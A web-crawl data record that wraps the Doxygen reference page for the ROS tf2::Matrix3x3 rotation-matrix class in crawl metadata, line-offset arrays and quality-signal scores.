26498,
26512,
26513,
26518,
26519,
26545,
26546,
26560,
26561,
26566,
26567,
26593,
26594,
26608,
26609,
26614,
26615,
26643,
26644,
26655,
26656,
26661,
26662,
26689,
26690,
26708,
26709,
26714,
26715,
26739,
26740,
26760,
26761,
26773,
26774,
26788,
26789,
26799,
26800,
26810,
26811,
26829,
26830,
26844,
26845,
26857,
26858,
26867,
26868,
26873,
26874,
26881,
26882,
26891,
26892,
26905,
26906,
26910,
26911,
26920,
26921,
26931,
26932,
26938,
26939,
26950,
26951,
26967,
26968,
26977,
26978,
26989,
26990,
27007,
27008,
27017,
27018,
27029,
27030,
27050,
27051,
27060,
27061,
27072,
27073,
27092,
27093,
27102,
27103,
27111,
27112,
27121,
27122,
27128,
27129,
27146,
27147,
27167,
27168,
27174,
27175,
27189,
27190,
27200,
27201,
27207,
27208,
27223,
27224,
27235,
27236,
27243,
27244,
27262,
27263,
27277,
27278,
27285,
27286,
27304,
27305,
27311,
27312,
27319,
27320,
27332,
27333,
27344,
27345,
27352,
27353,
27372,
27373,
27381,
27382,
27388,
27389,
27404,
27405,
27425,
27426,
27434,
27435,
27450,
27451,
27470,
27471,
27479,
27480,
27495,
27496,
27515,
27516,
27524,
27525,
27548,
27549,
27578,
27579,
27585,
27586,
27609,
27610,
27640,
27641,
27647,
27648,
27671,
27672,
27687,
27688,
27694,
27695,
27709,
27710,
27725,
27726,
27730,
27731,
27746,
27747,
27763,
27764,
27771,
27772,
27786,
27787,
27802,
27803,
27809,
27810,
27823,
27824,
27843,
27844,
27848,
27849,
27862,
27863,
27875,
27876,
27880,
27881,
27895,
27896,
27911,
27912,
27918,
27919,
27929,
27930,
27945,
27946,
27953,
27954,
27964,
27965,
27978,
27979,
27986,
27987,
27997,
27998,
28008,
28009,
28016,
28017,
28027,
28028,
28042,
28043,
28050,
28051,
28075,
28076,
28083,
28084,
28090,
28091,
28111,
28112,
28124,
28125,
28139,
28140,
28160,
28161,
28173,
28174,
28188,
28189,
28202,
28203,
28218,
28219,
28225,
28226,
28238,
28239,
28242,
28243,
28247,
28248,
28262,
28263,
28276,
28277,
28286,
28287,
28301,
28302,
28319,
28320,
28329,
28330,
28344,
28345,
28360,
28361,
28367,
28368,
28382,
28383,
28401,
28402,
28408,
28409,
28423,
28424,
28442,
28443,
28453,
28454,
28468,
28469,
28489,
28490,
28500,
28501,
28515,
28516,
28532,
28533,
28543,
28544,
28558,
28559,
28570,
28571,
28581,
28582,
28602,
28603,
28619,
28620,
28632,
28633,
28644,
28645,
28657,
28658,
28667,
28668,
28686,
28687,
28699,
28700,
28708,
28709,
28718,
28719,
28729,
28730,
28735,
28736,
28740,
28741,
28745,
28746,
28752,
28753,
28764,
28765,
28778,
28779,
28783,
28784,
28804,
28805,
28814,
28815,
28821,
28822,
28827,
28828,
28837,
28838,
28844,
28845,
28852,
28853,
28860,
28861,
28865
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 28865,
"ccnet_original_nlines": 3386,
"rps_doc_curly_bracket": 0.00017322000348940492,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.07062599807977676,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.016915669664740562,
"rps_doc_frac_lines_end_with_ellipsis": 0.0008857399807311594,
"rps_doc_frac_no_alph_words": 0.5883442163467407,
"rps_doc_frac_unique_words": 0.5291078090667725,
"rps_doc_mean_word_length": 7.313813209533691,
"rps_doc_num_sentences": 1922,
"rps_doc_symbol_to_word_ratio": 0.00037041999166831374,
"rps_doc_unigram_entropy": 6.783993244171143,
"rps_doc_word_count": 2903,
"rps_doc_frac_chars_dupe_10grams": 0.011303690262138844,
"rps_doc_frac_chars_dupe_5grams": 0.037914469838142395,
"rps_doc_frac_chars_dupe_6grams": 0.02138281986117363,
"rps_doc_frac_chars_dupe_7grams": 0.015259980224072933,
"rps_doc_frac_chars_dupe_8grams": 0.011303690262138844,
"rps_doc_frac_chars_dupe_9grams": 0.011303690262138844,
"rps_doc_frac_chars_top_2gram": 0.0432366207242012,
"rps_doc_frac_chars_top_3gram": 0.0025433299597352743,
"rps_doc_frac_chars_top_4gram": 0.0033911101054400206,
"rps_doc_books_importance": -4056.431396484375,
"rps_doc_books_importance_length_correction": -4056.431396484375,
"rps_doc_openwebtext_importance": -1785.886474609375,
"rps_doc_openwebtext_importance_length_correction": -1785.886474609375,
"rps_doc_wikipedia_importance": -928.6915893554688,
"rps_doc_wikipedia_importance_length_correction": -928.6915893554688
},
"fasttext": {
"dclm": 0.030990300700068474,
"english": 0.41057348251342773,
"fineweb_edu_approx": 2.2972192764282227,
"eai_general_math": 0.04516893997788429,
"eai_open_web_math": 0.16671240329742432,
"eai_web_code": 0.43027204275131226
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.758",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "6",
"label": "Content Listing"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-7,390,946,389,508,026,000 | Public Member Functions | Static Public Member Functions | Public Attributes | Private Attributes
tf2::Matrix3x3 Class Reference
The Matrix3x3 class implements a 3x3 rotation matrix, to perform linear algebra in combination with Quaternion, Transform and Vector3. Make sure to only include a pure orthogonal matrix without scaling. More...
#include <Matrix3x3.h>
List of all members.
Public Member Functions
__attribute__ ((deprecated)) void getEulerZYX(tf2Scalar &yaw
Get the matrix represented as euler angles around ZYX.
Matrix3x3 absolute () const
Return the matrix with all values non negative.
Matrix3x3 adjoint () const
Return the adjoint of the matrix.
tf2Scalar cofac (int r1, int c1, int r2, int c2) const
Calculate the matrix cofactor.
void deSerialize (const struct Matrix3x3Data &dataIn)
void deSerializeDouble (const struct Matrix3x3DoubleData &dataIn)
void deSerializeFloat (const struct Matrix3x3FloatData &dataIn)
tf2Scalar determinant () const
Return the determinant of the matrix.
void diagonalize (Matrix3x3 &rot, tf2Scalar threshold, int maxSteps)
diagonalizes this matrix by the Jacobi method.
TF2SIMD_FORCE_INLINE Vector3 getColumn (int i) const
Get a column of the matrix as a vector.
void getEulerYPR (tf2Scalar &yaw, tf2Scalar &pitch, tf2Scalar &roll, unsigned int solution_number=1) const
Get the matrix represented as euler angles around YXZ, roundtrip with setEulerYPR.
void getOpenGLSubMatrix (tf2Scalar *m) const
Fill the values of the matrix into a 9 element array.
void getRotation (Quaternion &q) const
Get the matrix represented as a quaternion.
TF2SIMD_FORCE_INLINE const
Vector3 &
getRow (int i) const
Get a row of the matrix as a vector.
void getRPY (tf2Scalar &roll, tf2Scalar &pitch, tf2Scalar &yaw, unsigned int solution_number=1) const
Get the matrix represented as roll pitch and yaw about fixed axes XYZ.
Matrix3x3 inverse () const
Return the inverse of the matrix.
Matrix3x3 ()
No initializaion constructor.
Matrix3x3 (const Quaternion &q)
Constructor from Quaternion.
Matrix3x3 (const tf2Scalar &xx, const tf2Scalar &xy, const tf2Scalar &xz, const tf2Scalar &yx, const tf2Scalar &yy, const tf2Scalar &yz, const tf2Scalar &zx, const tf2Scalar &zy, const tf2Scalar &zz)
Constructor with row major formatting.
TF2SIMD_FORCE_INLINE Matrix3x3 (const Matrix3x3 &other)
Copy constructor.
Matrix3x3operator*= (const Matrix3x3 &m)
Multiply by the target matrix on the right.
TF2SIMD_FORCE_INLINE Matrix3x3operator= (const Matrix3x3 &other)
Assignment Operator.
TF2SIMD_FORCE_INLINE Vector3 & operator[] (int i)
Get a mutable reference to a row of the matrix as a vector.
TF2SIMD_FORCE_INLINE const
Vector3 &
operator[] (int i) const
Get a const reference to a row of the matrix as a vector.
Matrix3x3 scaled (const Vector3 &s) const
Create a scaled copy of the matrix.
void serialize (struct Matrix3x3Data &dataOut) const
void serializeFloat (struct Matrix3x3FloatData &dataOut) const
void setEulerYPR (tf2Scalar eulerZ, tf2Scalar eulerY, tf2Scalar eulerX)
Set the matrix from euler angles YPR around ZYX axes.
void setEulerZYX (const tf2Scalar &yaw, const tf2Scalar &pitch, const tf2Scalar &roll) __attribute__((deprecated))
Set the matrix from euler angles using YPR around ZYX respectively.
void setFromOpenGLSubMatrix (const tf2Scalar *m)
Set from a carray of tf2Scalars.
void setIdentity ()
Set the matrix to the identity.
void setRotation (const Quaternion &q)
Set the matrix from a quaternion.
void setRPY (tf2Scalar roll, tf2Scalar pitch, tf2Scalar yaw)
Set the matrix using RPY about XYZ fixed axes.
void setValue (const tf2Scalar &xx, const tf2Scalar &xy, const tf2Scalar &xz, const tf2Scalar &yx, const tf2Scalar &yy, const tf2Scalar &yz, const tf2Scalar &zx, const tf2Scalar &zy, const tf2Scalar &zz)
Set the values of the matrix explicitly (row major)
TF2SIMD_FORCE_INLINE tf2Scalar tdotx (const Vector3 &v) const
TF2SIMD_FORCE_INLINE tf2Scalar tdoty (const Vector3 &v) const
TF2SIMD_FORCE_INLINE tf2Scalar tdotz (const Vector3 &v) const
Matrix3x3 timesTranspose (const Matrix3x3 &m) const
Matrix3x3 transpose () const
Return the transpose of the matrix.
Matrix3x3 transposeTimes (const Matrix3x3 &m) const
Static Public Member Functions
static const Matrix3x3getIdentity ()
Public Attributes
tf2Scalarpitch
tf2Scalar tf2Scalarroll
tf2Scalar tf2Scalar unsigned int solution_number
Private Attributes
Vector3 m_el [3]
Data storage for the matrix, each vector is a row of the matrix.
Detailed Description
The Matrix3x3 class implements a 3x3 rotation matrix, to perform linear algebra in combination with Quaternion, Transform and Vector3. Make sure to only include a pure orthogonal matrix without scaling.
Definition at line 31 of file Matrix3x3.h.
Constructor & Destructor Documentation
No initializaion constructor.
Definition at line 38 of file Matrix3x3.h.
tf2::Matrix3x3::Matrix3x3 ( const Quaternion q) [inline, explicit]
Constructor from Quaternion.
Definition at line 43 of file Matrix3x3.h.
tf2::Matrix3x3::Matrix3x3 ( const tf2Scalar xx,
const tf2Scalar xy,
const tf2Scalar xz,
const tf2Scalar yx,
const tf2Scalar yy,
const tf2Scalar yz,
const tf2Scalar zx,
const tf2Scalar zy,
const tf2Scalar zz
) [inline]
Constructor with row major formatting.
Definition at line 52 of file Matrix3x3.h.
Copy constructor.
Definition at line 61 of file Matrix3x3.h.
Member Function Documentation
tf2::Matrix3x3::__attribute__ ( (deprecated) )
Get the matrix represented as euler angles around ZYX.
Parameters:
yawYaw around Z axis
pitchPitch around Y axis
rollaround X axis
solution_numberWhich solution of two possible solutions ( 1 or 2) are possible values
Return the matrix with all values non negative.
Definition at line 539 of file Matrix3x3.h.
Return the adjoint of the matrix.
Definition at line 556 of file Matrix3x3.h.
tf2Scalar tf2::Matrix3x3::cofac ( int r1,
int c1,
int r2,
int c2
) const [inline]
Calculate the matrix cofactor.
Parameters:
r1The first row to use for calculating the cofactor
c1The first column to use for calculating the cofactor
r1The second row to use for calculating the cofactor
c1The second column to use for calculating the cofactor See http://en.wikipedia.org/wiki/Cofactor_(linear_algebra) for more details
Definition at line 504 of file Matrix3x3.h.
Definition at line 674 of file Matrix3x3.h.
Definition at line 686 of file Matrix3x3.h.
Definition at line 680 of file Matrix3x3.h.
Return the determinant of the matrix.
Definition at line 532 of file Matrix3x3.h.
void tf2::Matrix3x3::diagonalize ( Matrix3x3 rot,
tf2Scalar threshold,
int maxSteps
) [inline]
diagonalizes this matrix by the Jacobi method.
Parameters:
rotstores the rotation from the coordinate system in which the matrix is diagonal to the original coordinate system, i.e., old_this = rot * new_this * rot^T.
thresholdSee iteration
iterationThe iteration stops when all off-diagonal elements are less than the threshold multiplied by the sum of the absolute values of the diagonal, or when maxSteps have been executed.
Note that this matrix is assumed to be symmetric.
Definition at line 416 of file Matrix3x3.h.
TF2SIMD_FORCE_INLINE Vector3 tf2::Matrix3x3::getColumn ( int i) const [inline]
Get a column of the matrix as a vector.
Parameters:
iColumn number 0 indexed
Definition at line 81 of file Matrix3x3.h.
void tf2::Matrix3x3::getEulerYPR ( tf2Scalar yaw,
tf2Scalar pitch,
tf2Scalar roll,
unsigned int solution_number = 1
) const [inline]
Get the matrix represented as euler angles around YXZ, roundtrip with setEulerYPR.
Parameters:
yawYaw around Z axis
pitchPitch around Y axis
rollaround X axis
Definition at line 292 of file Matrix3x3.h.
static const Matrix3x3& tf2::Matrix3x3::getIdentity ( ) [inline, static]
Definition at line 215 of file Matrix3x3.h.
void tf2::Matrix3x3::getOpenGLSubMatrix ( tf2Scalar m) const [inline]
Fill the values of the matrix into a 9 element array.
Parameters:
mThe array to be filled
Definition at line 225 of file Matrix3x3.h.
void tf2::Matrix3x3::getRotation ( Quaternion q) const [inline]
Get the matrix represented as a quaternion.
Parameters:
qThe quaternion which will be set
Definition at line 243 of file Matrix3x3.h.
TF2SIMD_FORCE_INLINE const Vector3& tf2::Matrix3x3::getRow ( int i) const [inline]
Get a row of the matrix as a vector.
Parameters:
iRow number 0 indexed
Definition at line 89 of file Matrix3x3.h.
void tf2::Matrix3x3::getRPY ( tf2Scalar roll,
tf2Scalar pitch,
tf2Scalar yaw,
unsigned int solution_number = 1
) const [inline]
Get the matrix represented as roll pitch and yaw about fixed axes XYZ.
Parameters:
rollaround X axis
pitchPitch around Y axis
yawYaw around Z axis
solution_numberWhich solution of two possible solutions ( 1 or 2) are possible values
Definition at line 364 of file Matrix3x3.h.
Return the inverse of the matrix.
Definition at line 564 of file Matrix3x3.h.
TF2SIMD_FORCE_INLINE Matrix3x3 & tf2::Matrix3x3::operator*= ( const Matrix3x3 m)
Multiply by the target matrix on the right.
Parameters:
mRotation matrix to be applied Equivilant to this = this * m
Definition at line 523 of file Matrix3x3.h.
TF2SIMD_FORCE_INLINE Matrix3x3& tf2::Matrix3x3::operator= ( const Matrix3x3 other) [inline]
Assignment Operator.
Definition at line 70 of file Matrix3x3.h.
TF2SIMD_FORCE_INLINE Vector3& tf2::Matrix3x3::operator[] ( int i) [inline]
Get a mutable reference to a row of the matrix as a vector.
Parameters:
iRow number 0 indexed
Definition at line 97 of file Matrix3x3.h.
TF2SIMD_FORCE_INLINE const Vector3& tf2::Matrix3x3::operator[] ( int i) const [inline]
Get a const reference to a row of the matrix as a vector.
Parameters:
iRow number 0 indexed
Definition at line 105 of file Matrix3x3.h.
Matrix3x3 tf2::Matrix3x3::scaled ( const Vector3 & s) const [inline]
Create a scaled copy of the matrix.
Parameters:
sScaling vector The elements of the vector will scale each column
Definition at line 372 of file Matrix3x3.h.
Definition at line 661 of file Matrix3x3.h.
Definition at line 667 of file Matrix3x3.h.
void tf2::Matrix3x3::setEulerYPR ( tf2Scalar eulerZ,
tf2Scalar eulerY,
tf2Scalar eulerX
) [inline]
Set the matrix from euler angles YPR around ZYX axes.
Parameters:
eulerZYaw aboud Z axis
eulerYPitch around Y axis
eulerXRoll about X axis
These angles are used to produce a rotation matrix. The euler angles are applied in ZYX order. I.e a vector is first rotated about X then Y and then Z
Definition at line 180 of file Matrix3x3.h.
void tf2::Matrix3x3::setEulerZYX ( const tf2Scalar yaw,
const tf2Scalar pitch,
const tf2Scalar roll
) [inline]
Set the matrix from euler angles using YPR around ZYX respectively.
Parameters:
yawYaw about Z axis
pitchPitch about Y axis
rollRoll about X axis
Definition at line 166 of file Matrix3x3.h.
void tf2::Matrix3x3::setFromOpenGLSubMatrix ( const tf2Scalar m) [inline]
Set from a carray of tf2Scalars.
Parameters:
mA pointer to the beginning of an array of 9 tf2Scalars
Definition at line 118 of file Matrix3x3.h.
void tf2::Matrix3x3::setIdentity ( ) [inline]
Set the matrix to the identity.
Definition at line 208 of file Matrix3x3.h.
void tf2::Matrix3x3::setRotation ( const Quaternion q) [inline]
Set the matrix from a quaternion.
Parameters:
qThe Quaternion to match
Definition at line 146 of file Matrix3x3.h.
void tf2::Matrix3x3::setRPY ( tf2Scalar roll,
tf2Scalar pitch,
tf2Scalar yaw
) [inline]
Set the matrix using RPY about XYZ fixed axes.
Parameters:
rollRoll about X axis
pitchPitch around Y axis
yawYaw aboud Z axis
Definition at line 203 of file Matrix3x3.h.
void tf2::Matrix3x3::setValue ( const tf2Scalar xx,
const tf2Scalar xy,
const tf2Scalar xz,
const tf2Scalar yx,
const tf2Scalar yy,
const tf2Scalar yz,
const tf2Scalar zx,
const tf2Scalar zy,
const tf2Scalar zz
) [inline]
Set the values of the matrix explicitly (row major)
Parameters:
xxTop left
xyTop Middle
xzTop Right
yxMiddle Left
yyMiddle Middle
yzMiddle Right
zxBottom Left
zyBottom Middle
zzBottom Right
Definition at line 135 of file Matrix3x3.h.
TF2SIMD_FORCE_INLINE tf2Scalar tf2::Matrix3x3::tdotx ( const Vector3 & v) const [inline]
Definition at line 393 of file Matrix3x3.h.
TF2SIMD_FORCE_INLINE tf2Scalar tf2::Matrix3x3::tdoty ( const Vector3 & v) const [inline]
Definition at line 397 of file Matrix3x3.h.
TF2SIMD_FORCE_INLINE tf2Scalar tf2::Matrix3x3::tdotz ( const Vector3 & v) const [inline]
Definition at line 401 of file Matrix3x3.h.
Definition at line 591 of file Matrix3x3.h.
Return the transpose of the matrix.
Definition at line 548 of file Matrix3x3.h.
Definition at line 576 of file Matrix3x3.h.
Member Data Documentation
Vector3 tf2::Matrix3x3::m_el[3] [private]
Data storage for the matrix, each vector is a row of the matrix.
Definition at line 34 of file Matrix3x3.h.
Definition at line 282 of file Matrix3x3.h.
Definition at line 282 of file Matrix3x3.h.
Initial value:
1) const
{
getEulerYPR(yaw, pitch, roll, solution_number);
}
Definition at line 282 of file Matrix3x3.h.
The documentation for this class was generated from the following file:
tf2
Author(s): Tully Foote, Eitan Marder-Eppstein, Wim Meeussen
autogenerated on Mon Oct 22 2018 04:44:16 | {
"url": "http://docs.ros.org/indigo/api/tf2/html/classtf2_1_1Matrix3x3.html",
"source_domain": "docs.ros.org",
"snapshot_id": "crawl=CC-MAIN-2018-43",
"warc_metadata": {
"Content-Length": "88600",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:QPK4QZRR46VWO7LL4PGRY3QXQ4XSCCVZ",
"WARC-Concurrent-To": "<urn:uuid:fd2eb97f-875d-440f-8e90-195963a6a4cf>",
"WARC-Date": "2018-10-23T19:31:18Z",
"WARC-IP-Address": "140.211.9.4",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:OFUFKLVBICK24ACWYQV5RY3L7KS5W66F",
"WARC-Record-ID": "<urn:uuid:cbe2fc87-b27d-4e17-907b-efdb7ee44e2b>",
"WARC-Target-URI": "http://docs.ros.org/indigo/api/tf2/html/classtf2_1_1Matrix3x3.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c3a77343-e1fd-4350-b179-b6ca3866c8eb>"
},
"warc_info": "isPartOf: CC-MAIN-2018-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-61-222-208.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
98,
129,
130,
341,
342,
365,
366,
387,
388,
412,
413,
475,
531,
559,
608,
635,
670,
725,
757,
811,
877,
941,
972,
1011,
1080,
1128,
1181,
1222,
1329,
1413,
1458,
1513,
1552,
1597,
1624,
1635,
1656,
1694,
1796,
1868,
1895,
1930,
1944,
1975,
2008,
2038,
2239,
2279,
2335,
2354,
2395,
2440,
2505,
2527,
2577,
2638,
2665,
2676,
2701,
2760,
2802,
2839,
2892,
2955,
3027,
3082,
3197,
3266,
3315,
3349,
3369,
3402,
3441,
3476,
3537,
3585,
3789,
3842,
3904,
3966,
4028,
4080,
4109,
4146,
4198,
4199,
4230,
4231,
4268,
4269,
4287,
4288,
4303,
4327,
4376,
4377,
4396,
4397,
4414,
4480,
4481,
4502,
4503,
4706,
4707,
4750,
4751,
4752,
4791,
4792,
4822,
4823,
4866,
4867,
4934,
4935,
4964,
4965,
5008,
5009,
5057,
5077,
5097,
5117,
5137,
5157,
5177,
5197,
5217,
5228,
5229,
5268,
5269,
5312,
5313,
5331,
5332,
5375,
5376,
5377,
5407,
5408,
5456,
5457,
5512,
5513,
5525,
5546,
5571,
5589,
5675,
5676,
5724,
5725,
5769,
5770,
5804,
5805,
5849,
5850,
5893,
5902,
5911,
5920,
5937,
5938,
5969,
5970,
5982,
6034,
6089,
6142,
6274,
6275,
6319,
6320,
6364,
6365,
6409,
6410,
6454,
6455,
6493,
6494,
6538,
6539,
6589,
6611,
6626,
6637,
6638,
6685,
6686,
6698,
6856,
6879,
7066,
7067,
7117,
7118,
7162,
7163,
7243,
7244,
7284,
7285,
7297,
7322,
7323,
7366,
7367,
7417,
7434,
7450,
7485,
7502,
7503,
7586,
7587,
7599,
7620,
7645,
7663,
7664,
7708,
7709,
7782,
7783,
7827,
7828,
7898,
7899,
7953,
7954,
7966,
7990,
7991,
8035,
8036,
8100,
8101,
8145,
8146,
8158,
8192,
8193,
8237,
8238,
8322,
8323,
8360,
8361,
8373,
8395,
8396,
8439,
8440,
8486,
8503,
8518,
8553,
8570,
8571,
8642,
8643,
8655,
8673,
8698,
8719,
8805,
8806,
8850,
8851,
8885,
8886,
8930,
8931,
9012,
9013,
9057,
9058,
9070,
9131,
9132,
9176,
9177,
9269,
9270,
9291,
9292,
9335,
9336,
9412,
9413,
9473,
9474,
9486,
9508,
9509,
9552,
9553,
9641,
9642,
9700,
9701,
9713,
9735,
9736,
9780,
9781,
9851,
9852,
9888,
9889,
9901,
9967,
9968,
10012,
10013,
10057,
10058,
10102,
10103,
10157,
10176,
10195,
10206,
10207,
10261,
10262,
10274,
10297,
10323,
10347,
10348,
10499,
10500,
10544,
10545,
10601,
10624,
10646,
10657,
10658,
10726,
10727,
10739,
10759,
10783,
10805,
10806,
10850,
10851,
10925,
10926,
10959,
10960,
10972,
11028,
11029,
11073,
11074,
11120,
11121,
11153,
11154,
11198,
11199,
11263,
11264,
11298,
11299,
11311,
11336,
11337,
11381,
11382,
11429,
11447,
11463,
11474,
11475,
11522,
11523,
11535,
11557,
11582,
11602,
11603,
11647,
11648,
11700,
11720,
11740,
11760,
11780,
11800,
11820,
11840,
11860,
11871,
11872,
11924,
11925,
11937,
11948,
11961,
11973,
11987,
12003,
12018,
12032,
12048,
12063,
12064,
12108,
12109,
12199,
12200,
12244,
12245,
12335,
12336,
12380,
12381,
12471,
12472,
12516,
12517,
12561,
12562,
12598,
12599,
12643,
12644,
12688,
12689,
12690,
12716,
12717,
12759,
12760,
12825,
12826,
12869,
12870,
12914,
12915,
12959,
12960,
12975,
12985,
12995,
13059,
13069,
13070,
13114,
13115,
13116,
13188,
13189,
13190,
13194,
13254
],
"line_end_idx": [
98,
129,
130,
341,
342,
365,
366,
387,
388,
412,
413,
475,
531,
559,
608,
635,
670,
725,
757,
811,
877,
941,
972,
1011,
1080,
1128,
1181,
1222,
1329,
1413,
1458,
1513,
1552,
1597,
1624,
1635,
1656,
1694,
1796,
1868,
1895,
1930,
1944,
1975,
2008,
2038,
2239,
2279,
2335,
2354,
2395,
2440,
2505,
2527,
2577,
2638,
2665,
2676,
2701,
2760,
2802,
2839,
2892,
2955,
3027,
3082,
3197,
3266,
3315,
3349,
3369,
3402,
3441,
3476,
3537,
3585,
3789,
3842,
3904,
3966,
4028,
4080,
4109,
4146,
4198,
4199,
4230,
4231,
4268,
4269,
4287,
4288,
4303,
4327,
4376,
4377,
4396,
4397,
4414,
4480,
4481,
4502,
4503,
4706,
4707,
4750,
4751,
4752,
4791,
4792,
4822,
4823,
4866,
4867,
4934,
4935,
4964,
4965,
5008,
5009,
5057,
5077,
5097,
5117,
5137,
5157,
5177,
5197,
5217,
5228,
5229,
5268,
5269,
5312,
5313,
5331,
5332,
5375,
5376,
5377,
5407,
5408,
5456,
5457,
5512,
5513,
5525,
5546,
5571,
5589,
5675,
5676,
5724,
5725,
5769,
5770,
5804,
5805,
5849,
5850,
5893,
5902,
5911,
5920,
5937,
5938,
5969,
5970,
5982,
6034,
6089,
6142,
6274,
6275,
6319,
6320,
6364,
6365,
6409,
6410,
6454,
6455,
6493,
6494,
6538,
6539,
6589,
6611,
6626,
6637,
6638,
6685,
6686,
6698,
6856,
6879,
7066,
7067,
7117,
7118,
7162,
7163,
7243,
7244,
7284,
7285,
7297,
7322,
7323,
7366,
7367,
7417,
7434,
7450,
7485,
7502,
7503,
7586,
7587,
7599,
7620,
7645,
7663,
7664,
7708,
7709,
7782,
7783,
7827,
7828,
7898,
7899,
7953,
7954,
7966,
7990,
7991,
8035,
8036,
8100,
8101,
8145,
8146,
8158,
8192,
8193,
8237,
8238,
8322,
8323,
8360,
8361,
8373,
8395,
8396,
8439,
8440,
8486,
8503,
8518,
8553,
8570,
8571,
8642,
8643,
8655,
8673,
8698,
8719,
8805,
8806,
8850,
8851,
8885,
8886,
8930,
8931,
9012,
9013,
9057,
9058,
9070,
9131,
9132,
9176,
9177,
9269,
9270,
9291,
9292,
9335,
9336,
9412,
9413,
9473,
9474,
9486,
9508,
9509,
9552,
9553,
9641,
9642,
9700,
9701,
9713,
9735,
9736,
9780,
9781,
9851,
9852,
9888,
9889,
9901,
9967,
9968,
10012,
10013,
10057,
10058,
10102,
10103,
10157,
10176,
10195,
10206,
10207,
10261,
10262,
10274,
10297,
10323,
10347,
10348,
10499,
10500,
10544,
10545,
10601,
10624,
10646,
10657,
10658,
10726,
10727,
10739,
10759,
10783,
10805,
10806,
10850,
10851,
10925,
10926,
10959,
10960,
10972,
11028,
11029,
11073,
11074,
11120,
11121,
11153,
11154,
11198,
11199,
11263,
11264,
11298,
11299,
11311,
11336,
11337,
11381,
11382,
11429,
11447,
11463,
11474,
11475,
11522,
11523,
11535,
11557,
11582,
11602,
11603,
11647,
11648,
11700,
11720,
11740,
11760,
11780,
11800,
11820,
11840,
11860,
11871,
11872,
11924,
11925,
11937,
11948,
11961,
11973,
11987,
12003,
12018,
12032,
12048,
12063,
12064,
12108,
12109,
12199,
12200,
12244,
12245,
12335,
12336,
12380,
12381,
12471,
12472,
12516,
12517,
12561,
12562,
12598,
12599,
12643,
12644,
12688,
12689,
12690,
12716,
12717,
12759,
12760,
12825,
12826,
12869,
12870,
12914,
12915,
12959,
12960,
12975,
12985,
12995,
13059,
13069,
13070,
13114,
13115,
13116,
13188,
13189,
13190,
13194,
13254,
13295
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 13295,
"ccnet_original_nlines": 464,
"rps_doc_curly_bracket": 0.0001504300016677007,
"rps_doc_ldnoobw_words": 4,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2035951465368271,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.023446660488843918,
"rps_doc_frac_lines_end_with_ellipsis": 0.002150540007278323,
"rps_doc_frac_no_alph_words": 0.2715904712677002,
"rps_doc_frac_unique_words": 0.209508016705513,
"rps_doc_mean_word_length": 5.7462687492370605,
"rps_doc_num_sentences": 168,
"rps_doc_symbol_to_word_ratio": 0.0007815600256435573,
"rps_doc_unigram_entropy": 4.894547462463379,
"rps_doc_word_count": 1809,
"rps_doc_frac_chars_dupe_10grams": 0.23338143527507782,
"rps_doc_frac_chars_dupe_5grams": 0.5491101741790771,
"rps_doc_frac_chars_dupe_6grams": 0.49735450744628906,
"rps_doc_frac_chars_dupe_7grams": 0.3819143772125244,
"rps_doc_frac_chars_dupe_8grams": 0.34170272946357727,
"rps_doc_frac_chars_dupe_9grams": 0.286868691444397,
"rps_doc_frac_chars_top_2gram": 0.042424239218235016,
"rps_doc_frac_chars_top_3gram": 0.06926406919956207,
"rps_doc_frac_chars_top_4gram": 0.023088019341230392,
"rps_doc_books_importance": -1046.5667724609375,
"rps_doc_books_importance_length_correction": -1046.5667724609375,
"rps_doc_openwebtext_importance": -581.2835083007812,
"rps_doc_openwebtext_importance_length_correction": -581.2835083007812,
"rps_doc_wikipedia_importance": -225.05516052246094,
"rps_doc_wikipedia_importance_length_correction": -225.05516052246094
},
"fasttext": {
"dclm": 0.027606790885329247,
"english": 0.6154886484146118,
"fineweb_edu_approx": 2.3548967838287354,
"eai_general_math": 0.9859784841537476,
"eai_open_web_math": 0.4778240919113159,
"eai_web_code": 0.21469879150390625
}
} | {
